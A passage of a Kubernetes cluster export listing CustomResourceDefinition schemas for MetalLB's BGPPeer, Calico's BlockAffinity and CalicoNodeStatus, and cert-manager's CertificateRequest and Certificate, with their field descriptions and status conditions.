                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                the values array must be empty. This array is replaced during a strategic
                                merge patch.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                          required:
                          - key
                          - operator
                          type: object
                        type: array
                        x-kubernetes-list-type: atomic
                      matchLabels:
                        additionalProperties:
                          type: string
                        description: |-
                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                        type: object
                    type: object
                    x-kubernetes-map-type: atomic
                  type: array
                password:
                  description: Authentication password for routers enforcing TCP MD5
                    authenticated sessions
                  type: string
                passwordSecret:
                  description: |-
                    passwordSecret is name of the authentication secret for BGP Peer.
                    the secret must be of type "kubernetes.io/basic-auth", and created in the
                    same namespace as the MetalLB deployment. The password is stored in the
                    secret as the key "password".
                  properties:
                    name:
                      description: name is unique within a namespace to reference
                        a secret resource.
                      type: string
                    namespace:
                      description: namespace defines the space within which the secret
                        name must be unique.
                      type: string
                  type: object
                  x-kubernetes-map-type: atomic
                peerASN:
                  description: |-
                    AS number to expect from the remote end of the session.
                    ASN and DynamicASN are mutually exclusive and one of them must be specified.
                  format: int32
                  maximum: 4294967295
                  minimum: 0
                  type: integer
                peerAddress:
                  description: Address to dial when establishing the session.
                  type: string
                peerPort:
                  default: 179
                  description: Port to dial when establishing the session.
                  maximum: 16384
                  minimum: 1
                  type: integer
                routerID:
                  description: BGP router ID to advertise to the peer
                  type: string
                sourceAddress:
                  description: Source address to use when establishing the session.
                  type: string
                vrf:
                  description: |-
                    To set if we want to peer with the BGPPeer using an interface belonging to
                    a host vrf
                  type: string
              required:
              - myASN
              type: object
            status:
              description: BGPPeerStatus defines the observed state of Peer.
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      kind: BGPPeer
      listKind: BGPPeerList
      plural: bgppeers
      singular: bgppeer
    conditions:
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T18:13:53Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1beta2
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"blockaffinities.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"BlockAffinity","listKind":"BlockAffinityList","plural":"blockaffinities","singular":"blockaffinity"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"BlockAffinitySpec contains the specification for a BlockAffinity resource.","properties":{"cidr":{"type":"string"},"deleted":{"description":"Deleted indicates that this block affinity is being deleted.\nThis field is a string for compatibility with older releases that\nmistakenly treat this field as a string.","type":"string"},"node":{"type":"string"},"state":{"type":"string"},"type":{"type":"string"}},"required":["cidr","deleted","node","state"],"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: blockaffinities.crd.projectcalico.org
    resourceVersion: "6820630"
    uid: 53f65db8-61cb-4210-a207-299bc94b1119
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: BlockAffinity
      listKind: BlockAffinityList
      plural: blockaffinities
      singular: blockaffinity
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: BlockAffinitySpec contains the specification for a BlockAffinity
                resource.
              properties:
                cidr:
                  type: string
                deleted:
                  description: |-
                    Deleted indicates that this block affinity is being deleted.
                    This field is a string for compatibility with older releases that
                    mistakenly treat this field as a string.
                  type: string
                node:
                  type: string
                state:
                  type: string
                type:
                  type: string
              required:
              - cidr
              - deleted
              - node
              - state
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: BlockAffinity
      listKind: BlockAffinityList
      plural: blockaffinities
      singular: blockaffinity
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"caliconodestatuses.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"CalicoNodeStatus","listKind":"CalicoNodeStatusList","plural":"caliconodestatuses","singular":"caliconodestatus"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"CalicoNodeStatusSpec contains the specification for a CalicoNodeStatus resource.","properties":{"classes":{"description":"Classes declares the types of information to monitor for this calico/node,\nand allows for selective status reporting about certain subsets of information.","items":{"type":"string"},"type":"array"},"node":{"description":"The node name identifies the Calico node instance for node status.","type":"string"},"updatePeriodSeconds":{"description":"UpdatePeriodSeconds is the period at which CalicoNodeStatus should be updated.\nSet to 0 to disable CalicoNodeStatus refresh. Maximum update period is one day.","format":"int32","type":"integer"}},"type":"object"},"status":{"description":"CalicoNodeStatusStatus defines the observed state of CalicoNodeStatus.\nNo validation needed for status since it is updated by Calico.","properties":{"agent":{"description":"Agent holds agent status on the node.","properties":{"birdV4":{"description":"BIRDV4 represents the latest observed status of bird4.","properties":{"lastBootTime":{"description":"LastBootTime holds the value of lastBootTime from bird.ctl output.","type":"string"},"lastReconfigurationTime":{"description":"LastReconfigurationTime holds the value of lastReconfigTime from bird.ctl output.","type":"string"},"routerID":{"description":"Router ID used by bird.","type":"string"},"state":{"description":"The state of the BGP Daemon.","type":"string"},"version":{"description":"Version of the BGP daemon","type":"string"}},"type":"object"},"birdV6":{"description":"BIRDV6 represents the latest observed status of bird6.","properties":{"lastBootTime":{"description":"LastBootTime holds the value of lastBootTime from bird.ctl output.","type":"string"},"lastReconfigurationTime":{"description":"LastReconfigurationTime holds the value of lastReconfigTime from bird.ctl output.","type":"string"},"routerID":{"description":"Router ID used by bird.","type":"string"},"state":{"description":"The state of the BGP Daemon.","type":"string"},"version":{"description":"Version of the BGP daemon","type":"string"}},"type":"object"}},"type":"object"},"bgp":{"description":"BGP holds node BGP status.","properties":{"numberEstablishedV4":{"description":"The total number of IPv4 established bgp sessions.","type":"integer"},"numberEstablishedV6":{"description":"The total number of IPv6 established bgp sessions.","type":"integer"},"numberNotEstablishedV4":{"description":"The total number of IPv4 non-established bgp sessions.","type":"integer"},"numberNotEstablishedV6":{"description":"The total number of IPv6 non-established bgp sessions.","type":"integer"},"peersV4":{"description":"PeersV4 represents IPv4 BGP peers status on the node.","items":{"description":"CalicoNodePeer contains the status of BGP peers on the node.","properties":{"peerIP":{"description":"IP address of the peer whose condition we are reporting.","type":"string"},"since":{"description":"Since the state or reason last changed.","type":"string"},"state":{"description":"State is the BGP session state.","type":"string"},"type":{"description":"Type indicates whether this peer is configured via the node-to-node mesh,\nor via en explicit global or per-node BGPPeer object.","type":"string"}},"type":"object"},"type":"array"},"peersV6":{"description":"PeersV6 represents IPv6 BGP peers status on the node.","items":{"description":"CalicoNodePeer contains the status of BGP peers on the node.","properties":{"peerIP":{"description":"IP address of the peer whose condition we are reporting.","type":"string"},"since":{"description":"Since the state or reason last changed.","type":"string"},"state":{"description":"State is the BGP session state.","type":"string"},"type":{"description":"Type indicates whether this peer is configured via the node-to-node mesh,\nor via en explicit global or per-node BGPPeer object.","type":"string"}},"type":"object"},"type":"array"}},"required":["numberEstablishedV4","numberEstablishedV6","numberNotEstablishedV4","numberNotEstablishedV6"],"type":"object"},"lastUpdated":{"description":"LastUpdated is a timestamp representing the server time when CalicoNodeStatus object\nlast updated. It is represented in RFC3339 form and is in UTC.","format":"date-time","nullable":true,"type":"string"},"routes":{"description":"Routes reports routes known to the Calico BGP daemon on the node.","properties":{"routesV4":{"description":"RoutesV4 represents IPv4 routes on the node.","items":{"description":"CalicoNodeRoute contains the status of BGP routes on the node.","properties":{"destination":{"description":"Destination of the route.","type":"string"},"gateway":{"description":"Gateway for the destination.","type":"string"},"interface":{"description":"Interface for the destination","type":"string"},"learnedFrom":{"description":"LearnedFrom contains information regarding where this route originated.","properties":{"peerIP":{"description":"If sourceType is NodeMesh or BGPPeer, IP address of the router that sent us this route.","type":"string"},"sourceType":{"description":"Type of the source where a route is learned from.","type":"string"}},"type":"object"},"type":{"description":"Type indicates if the route is being used for forwarding or not.","type":"string"}},"type":"object"},"type":"array"},"routesV6":{"description":"RoutesV6 represents IPv6 routes on the node.","items":{"description":"CalicoNodeRoute contains the status of BGP routes on the node.","properties":{"destination":{"description":"Destination of the route.","type":"string"},"gateway":{"description":"Gateway for the destination.","type":"string"},"interface":{"description":"Interface for the destination","type":"string"},"learnedFrom":{"description":"LearnedFrom contains information regarding where this route originated.","properties":{"peerIP":{"description":"If sourceType is NodeMesh or BGPPeer, IP address of the router that sent us this route.","type":"string"},"sourceType":{"description":"Type of the source where a route is learned from.","type":"string"}},"type":"object"},"type":{"description":"Type indicates if the route is being used for forwarding or not.","type":"string"}},"type":"object"},"type":"array"}},"type":"object"}},"type":"object"}},"type":"object"}},"served":true,"storage":true}]}}
    creationTimestamp: "2025-09-21T11:09:50Z"
    generation: 3
    name: caliconodestatuses.crd.projectcalico.org
    resourceVersion: "6820635"
    uid: dcdcedbf-1bfb-4227-8ee3-67d0870806c0
  spec:
    conversion:
      strategy: None
    group: crd.projectcalico.org
    names:
      kind: CalicoNodeStatus
      listKind: CalicoNodeStatusList
      plural: caliconodestatuses
      singular: caliconodestatus
    scope: Cluster
    versions:
    - name: v1
      schema:
        openAPIV3Schema:
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: CalicoNodeStatusSpec contains the specification for a CalicoNodeStatus
                resource.
              properties:
                classes:
                  description: |-
                    Classes declares the types of information to monitor for this calico/node,
                    and allows for selective status reporting about certain subsets of information.
                  items:
                    type: string
                  type: array
                node:
                  description: The node name identifies the Calico node instance for
                    node status.
                  type: string
                updatePeriodSeconds:
                  description: |-
                    UpdatePeriodSeconds is the period at which CalicoNodeStatus should be updated.
                    Set to 0 to disable CalicoNodeStatus refresh. Maximum update period is one day.
                  format: int32
                  type: integer
              type: object
            status:
              description: |-
                CalicoNodeStatusStatus defines the observed state of CalicoNodeStatus.
                No validation needed for status since it is updated by Calico.
              properties:
                agent:
                  description: Agent holds agent status on the node.
                  properties:
                    birdV4:
                      description: BIRDV4 represents the latest observed status of
                        bird4.
                      properties:
                        lastBootTime:
                          description: LastBootTime holds the value of lastBootTime
                            from bird.ctl output.
                          type: string
                        lastReconfigurationTime:
                          description: LastReconfigurationTime holds the value of
                            lastReconfigTime from bird.ctl output.
                          type: string
                        routerID:
                          description: Router ID used by bird.
                          type: string
                        state:
                          description: The state of the BGP Daemon.
                          type: string
                        version:
                          description: Version of the BGP daemon
                          type: string
                      type: object
                    birdV6:
                      description: BIRDV6 represents the latest observed status of
                        bird6.
                      properties:
                        lastBootTime:
                          description: LastBootTime holds the value of lastBootTime
                            from bird.ctl output.
                          type: string
                        lastReconfigurationTime:
                          description: LastReconfigurationTime holds the value of
                            lastReconfigTime from bird.ctl output.
                          type: string
                        routerID:
                          description: Router ID used by bird.
                          type: string
                        state:
                          description: The state of the BGP Daemon.
                          type: string
                        version:
                          description: Version of the BGP daemon
                          type: string
                      type: object
                  type: object
                bgp:
                  description: BGP holds node BGP status.
                  properties:
                    numberEstablishedV4:
                      description: The total number of IPv4 established bgp sessions.
                      type: integer
                    numberEstablishedV6:
                      description: The total number of IPv6 established bgp sessions.
                      type: integer
                    numberNotEstablishedV4:
                      description: The total number of IPv4 non-established bgp sessions.
                      type: integer
                    numberNotEstablishedV6:
                      description: The total number of IPv6 non-established bgp sessions.
                      type: integer
                    peersV4:
                      description: PeersV4 represents IPv4 BGP peers status on the
                        node.
                      items:
                        description: CalicoNodePeer contains the status of BGP peers
                          on the node.
                        properties:
                          peerIP:
                            description: IP address of the peer whose condition we
                              are reporting.
                            type: string
                          since:
                            description: Since the state or reason last changed.
                            type: string
                          state:
                            description: State is the BGP session state.
                            type: string
                          type:
                            description: |-
                              Type indicates whether this peer is configured via the node-to-node mesh,
                              or via en explicit global or per-node BGPPeer object.
                            type: string
                        type: object
                      type: array
                    peersV6:
                      description: PeersV6 represents IPv6 BGP peers status on the
                        node.
                      items:
                        description: CalicoNodePeer contains the status of BGP peers
                          on the node.
                        properties:
                          peerIP:
                            description: IP address of the peer whose condition we
                              are reporting.
                            type: string
                          since:
                            description: Since the state or reason last changed.
                            type: string
                          state:
                            description: State is the BGP session state.
                            type: string
                          type:
                            description: |-
                              Type indicates whether this peer is configured via the node-to-node mesh,
                              or via en explicit global or per-node BGPPeer object.
                            type: string
                        type: object
                      type: array
                  required:
                  - numberEstablishedV4
                  - numberEstablishedV6
                  - numberNotEstablishedV4
                  - numberNotEstablishedV6
                  type: object
                lastUpdated:
                  description: |-
                    LastUpdated is a timestamp representing the server time when CalicoNodeStatus object
                    last updated. It is represented in RFC3339 form and is in UTC.
                  format: date-time
                  nullable: true
                  type: string
                routes:
                  description: Routes reports routes known to the Calico BGP daemon
                    on the node.
                  properties:
                    routesV4:
                      description: RoutesV4 represents IPv4 routes on the node.
                      items:
                        description: CalicoNodeRoute contains the status of BGP routes
                          on the node.
                        properties:
                          destination:
                            description: Destination of the route.
                            type: string
                          gateway:
                            description: Gateway for the destination.
                            type: string
                          interface:
                            description: Interface for the destination
                            type: string
                          learnedFrom:
                            description: LearnedFrom contains information regarding
                              where this route originated.
                            properties:
                              peerIP:
                                description: If sourceType is NodeMesh or BGPPeer,
                                  IP address of the router that sent us this route.
                                type: string
                              sourceType:
                                description: Type of the source where a route is learned
                                  from.
                                type: string
                            type: object
                          type:
                            description: Type indicates if the route is being used
                              for forwarding or not.
                            type: string
                        type: object
                      type: array
                    routesV6:
                      description: RoutesV6 represents IPv6 routes on the node.
                      items:
                        description: CalicoNodeRoute contains the status of BGP routes
                          on the node.
                        properties:
                          destination:
                            description: Destination of the route.
                            type: string
                          gateway:
                            description: Gateway for the destination.
                            type: string
                          interface:
                            description: Interface for the destination
                            type: string
                          learnedFrom:
                            description: LearnedFrom contains information regarding
                              where this route originated.
                            properties:
                              peerIP:
                                description: If sourceType is NodeMesh or BGPPeer,
                                  IP address of the router that sent us this route.
                                type: string
                              sourceType:
                                description: Type of the source where a route is learned
                                  from.
                                type: string
                            type: object
                          type:
                            description: Type indicates if the route is being used
                              for forwarding or not.
                            type: string
                        type: object
                      type: array
                  type: object
              type: object
          type: object
      served: true
      storage: true
  status:
    acceptedNames:
      kind: CalicoNodeStatus
      listKind: CalicoNodeStatusList
      plural: caliconodestatuses
      singular: caliconodestatus
    conditions:
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-21T11:09:50Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:22Z"
    generation: 1
    labels:
      app: cert-manager
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: certificaterequests.cert-manager.io
    resourceVersion: "220051"
    uid: 18d12cfb-9c4c-411c-b8e6-12088f29a3a3
  spec:
    conversion:
      strategy: None
    group: cert-manager.io
    names:
      categories:
      - cert-manager
      kind: CertificateRequest
      listKind: CertificateRequestList
      plural: certificaterequests
      shortNames:
      - cr
      - crs
      singular: certificaterequest
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.conditions[?(@.type=="Approved")].status
        name: Approved
        type: string
      - jsonPath: .status.conditions[?(@.type=="Denied")].status
        name: Denied
        type: string
      - jsonPath: .status.conditions[?(@.type=="Ready")].status
        name: Ready
        type: string
      - jsonPath: .spec.issuerRef.name
        name: Issuer
        type: string
      - jsonPath: .spec.username
        name: Requester
        type: string
      - jsonPath: .status.conditions[?(@.type=="Ready")].message
        name: Status
        priority: 1
        type: string
      - description: CreationTimestamp is a timestamp representing the server time
          when this object was created. It is not guaranteed to be set in happens-before
          order across separate operations. Clients may not set this value. It is
          represented in RFC3339 form and is in UTC.
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: |-
            A CertificateRequest is used to request a signed certificate from one of the
            configured issuers.

            All fields within the CertificateRequest's `spec` are immutable after creation.
            A CertificateRequest will either succeed or fail, as denoted by its `Ready` status
            condition and its `status.failureTime` field.

            A CertificateRequest is a one-shot resource, meaning it represents a single
            point in time request for a certificate and cannot be re-used.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: |-
                Specification of the desired state of the CertificateRequest resource.
                https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
              properties:
                duration:
                  description: |-
                    Requested 'duration' (i.e. lifetime) of the Certificate. Note that the
                    issuer may choose to ignore the requested duration, just like any other
                    requested attribute.
                  type: string
                extra:
                  additionalProperties:
                    items:
                      type: string
                    type: array
                  description: |-
                    Extra contains extra attributes of the user that created the CertificateRequest.
                    Populated by the cert-manager webhook on creation and immutable.
                  type: object
                groups:
                  description: |-
                    Groups contains group membership of the user that created the CertificateRequest.
                    Populated by the cert-manager webhook on creation and immutable.
                  items:
                    type: string
                  type: array
                  x-kubernetes-list-type: atomic
                isCA:
                  description: |-
                    Requested basic constraints isCA value. Note that the issuer may choose
                    to ignore the requested isCA value, just like any other requested attribute.

                    NOTE: If the CSR in the `Request` field has a BasicConstraints extension,
                    it must have the same isCA value as specified here.

                    If true, this will automatically add the `cert sign` usage to the list
                    of requested `usages`.
                  type: boolean
                issuerRef:
                  description: |-
                    Reference to the issuer responsible for issuing the certificate.
                    If the issuer is namespace-scoped, it must be in the same namespace
                    as the Certificate. If the issuer is cluster-scoped, it can be used
                    from any namespace.

                    The `name` field of the reference must always be specified.
                  properties:
                    group:
                      description: Group of the resource being referred to.
                      type: string
                    kind:
                      description: Kind of the resource being referred to.
                      type: string
                    name:
                      description: Name of the resource being referred to.
                      type: string
                  required:
                  - name
                  type: object
                request:
                  description: |-
                    The PEM-encoded X.509 certificate signing request to be submitted to the
                    issuer for signing.

                    If the CSR has a BasicConstraints extension, its isCA attribute must
                    match the `isCA` value of this CertificateRequest.
                    If the CSR has a KeyUsage extension, its key usages must match the
                    key usages in the `usages` field of this CertificateRequest.
                    If the CSR has a ExtKeyUsage extension, its extended key usages
                    must match the extended key usages in the `usages` field of this
                    CertificateRequest.
                  format: byte
                  type: string
                uid:
                  description: |-
                    UID contains the uid of the user that created the CertificateRequest.
                    Populated by the cert-manager webhook on creation and immutable.
                  type: string
                usages:
                  description: |-
                    Requested key usages and extended key usages.

                    NOTE: If the CSR in the `Request` field has uses the KeyUsage or
                    ExtKeyUsage extension, these extensions must have the same values
                    as specified here without any additional values.

                    If unset, defaults to `digital signature` and `key encipherment`.
                  items:
                    description: |-
                      KeyUsage specifies valid usage contexts for keys.
                      See:
                      https://tools.ietf.org/html/rfc5280#section-4.2.1.3
                      https://tools.ietf.org/html/rfc5280#section-4.2.1.12

                      Valid KeyUsage values are as follows:
                      "signing",
                      "digital signature",
                      "content commitment",
                      "key encipherment",
                      "key agreement",
                      "data encipherment",
                      "cert sign",
                      "crl sign",
                      "encipher only",
                      "decipher only",
                      "any",
                      "server auth",
                      "client auth",
                      "code signing",
                      "email protection",
                      "s/mime",
                      "ipsec end system",
                      "ipsec tunnel",
                      "ipsec user",
                      "timestamping",
                      "ocsp signing",
                      "microsoft sgc",
                      "netscape sgc"
                    enum:
                    - signing
                    - digital signature
                    - content commitment
                    - key encipherment
                    - key agreement
                    - data encipherment
                    - cert sign
                    - crl sign
                    - encipher only
                    - decipher only
                    - any
                    - server auth
                    - client auth
                    - code signing
                    - email protection
                    - s/mime
                    - ipsec end system
                    - ipsec tunnel
                    - ipsec user
                    - timestamping
                    - ocsp signing
                    - microsoft sgc
                    - netscape sgc
                    type: string
                  type: array
                username:
                  description: |-
                    Username contains the name of the user that created the CertificateRequest.
                    Populated by the cert-manager webhook on creation and immutable.
                  type: string
              required:
              - issuerRef
              - request
              type: object
            status:
              description: |-
                Status of the CertificateRequest.
                This is set and managed automatically.
                Read-only.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
              properties:
                ca:
                  description: |-
                    The PEM encoded X.509 certificate of the signer, also known as the CA
                    (Certificate Authority).
                    This is set on a best-effort basis by different issuers.
                    If not set, the CA is assumed to be unknown/not available.
                  format: byte
                  type: string
                certificate:
                  description: |-
                    The PEM encoded X.509 certificate resulting from the certificate
                    signing request.
                    If not set, the CertificateRequest has either not been completed or has
                    failed. More information on failure can be found by checking the
                    `conditions` field.
                  format: byte
                  type: string
                conditions:
                  description: |-
                    List of status conditions to indicate the status of a CertificateRequest.
                    Known condition types are `Ready`, `InvalidRequest`, `Approved` and `Denied`.
                  items:
                    description: CertificateRequestCondition contains condition information
                      for a CertificateRequest.
                    properties:
                      lastTransitionTime:
                        description: |-
                          LastTransitionTime is the timestamp corresponding to the last status
                          change of this condition.
                        format: date-time
                        type: string
                      message:
                        description: |-
                          Message is a human readable description of the details of the last
                          transition, complementing reason.
                        type: string
                      reason:
                        description: |-
                          Reason is a brief machine readable explanation for the condition's last
                          transition.
                        type: string
                      status:
                        description: Status of the condition, one of (`True`, `False`,
                          `Unknown`).
                        enum:
                        - "True"
                        - "False"
                        - Unknown
                        type: string
                      type:
                        description: |-
                          Type of the condition, known values are (`Ready`, `InvalidRequest`,
                          `Approved`, `Denied`).
                        type: string
                    required:
                    - status
                    - type
                    type: object
                  type: array
                  x-kubernetes-list-map-keys:
                  - type
                  x-kubernetes-list-type: map
                failureTime:
                  description: |-
                    FailureTime stores the time that this CertificateRequest failed. This is
                    used to influence garbage collection and back-off.
                  format: date-time
                  type: string
              type: object
          type: object
      served: true
      storage: true
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - cert-manager
      kind: CertificateRequest
      listKind: CertificateRequestList
      plural: certificaterequests
      shortNames:
      - cr
      - crs
      singular: certificaterequest
    conditions:
    - lastTransitionTime: "2025-09-22T13:18:22Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-22T13:18:22Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      helm.sh/resource-policy: keep
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:22Z"
    generation: 1
    labels:
      app: cert-manager
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: certificates.cert-manager.io
    resourceVersion: "220057"
    uid: 26f506be-2e37-4ccc-95fa-56537a1a6373
  spec:
    conversion:
      strategy: None
    group: cert-manager.io
    names:
      categories:
      - cert-manager
      kind: Certificate
      listKind: CertificateList
      plural: certificates
      shortNames:
      - cert
      - certs
      singular: certificate
    scope: Namespaced
    versions:
    - additionalPrinterColumns:
      - jsonPath: .status.conditions[?(@.type=="Ready")].status
        name: Ready
        type: string
      - jsonPath: .spec.secretName
        name: Secret
        type: string
      - jsonPath: .spec.issuerRef.name
        name: Issuer
        priority: 1
        type: string
      - jsonPath: .status.conditions[?(@.type=="Ready")].message
        name: Status
        priority: 1
        type: string
      - description: CreationTimestamp is a timestamp representing the server time
          when this object was created. It is not guaranteed to be set in happens-before
          order across separate operations. Clients may not set this value. It is
          represented in RFC3339 form and is in UTC.
        jsonPath: .metadata.creationTimestamp
        name: Age
        type: date
      name: v1
      schema:
        openAPIV3Schema:
          description: |-
            A Certificate resource should be created to ensure an up to date and signed
            X.509 certificate is stored in the Kubernetes Secret resource named in `spec.secretName`.

            The stored certificate will be renewed before it expires (as configured by `spec.renewBefore`).
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: |-
                Specification of the desired state of the Certificate resource.
                https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#spec-and-status
              properties:
                additionalOutputFormats:
                  description: |-
                    Defines extra output formats of the private key and signed certificate chain
                    to be written to this Certificate's target Secret.
                  items:
                    description: |-
                      CertificateAdditionalOutputFormat defines an additional output format of a
                      Certificate resource. These contain supplementary data formats of the signed
                      certificate chain and paired private key.
                    properties:
                      type:
                        description: |-
                          Type is the name of the format type that should be written to the
                          Certificate's target Secret.
                        enum:
                        - DER
                        - CombinedPEM
                        type: string
                    required:
                    - type
                    type: object
                  type: array
                commonName:
                  description: |-
                    Requested common name X509 certificate subject attribute.
                    More info: https://datatracker.ietf.org/doc/html/rfc5280#section-4.1.2.6
                    NOTE: TLS clients will ignore this value when any subject alternative name is
                    set (see https://tools.ietf.org/html/rfc6125#section-6.4.4).

                    Should have a length of 64 characters or fewer to avoid generating invalid CSRs.
                    Cannot be set if the `literalSubject` field is set.
                  type: string
                dnsNames:
                  description: Requested DNS subject alternative names.
                  items:
                    type: string
                  type: array
                duration:
                  description: |-
                    Requested 'duration' (i.e. lifetime) of the Certificate. Note that the
                    issuer may choose to ignore the requested duration, just like any other
                    requested attribute.

                    If unset, this defaults to 90 days.
                    Minimum accepted duration is 1 hour.
                    Value must be in units accepted by Go time.ParseDuration https://golang.org/pkg/time/#ParseDuration.
                  type: string
                emailAddresses:
                  description: Requested email subject alternative names.
                  items:
                    type: string
                  type: array
                encodeUsagesInRequest:
                  description: |-
                    Whether the KeyUsage and ExtKeyUsage extensions should be set in the encoded CSR.

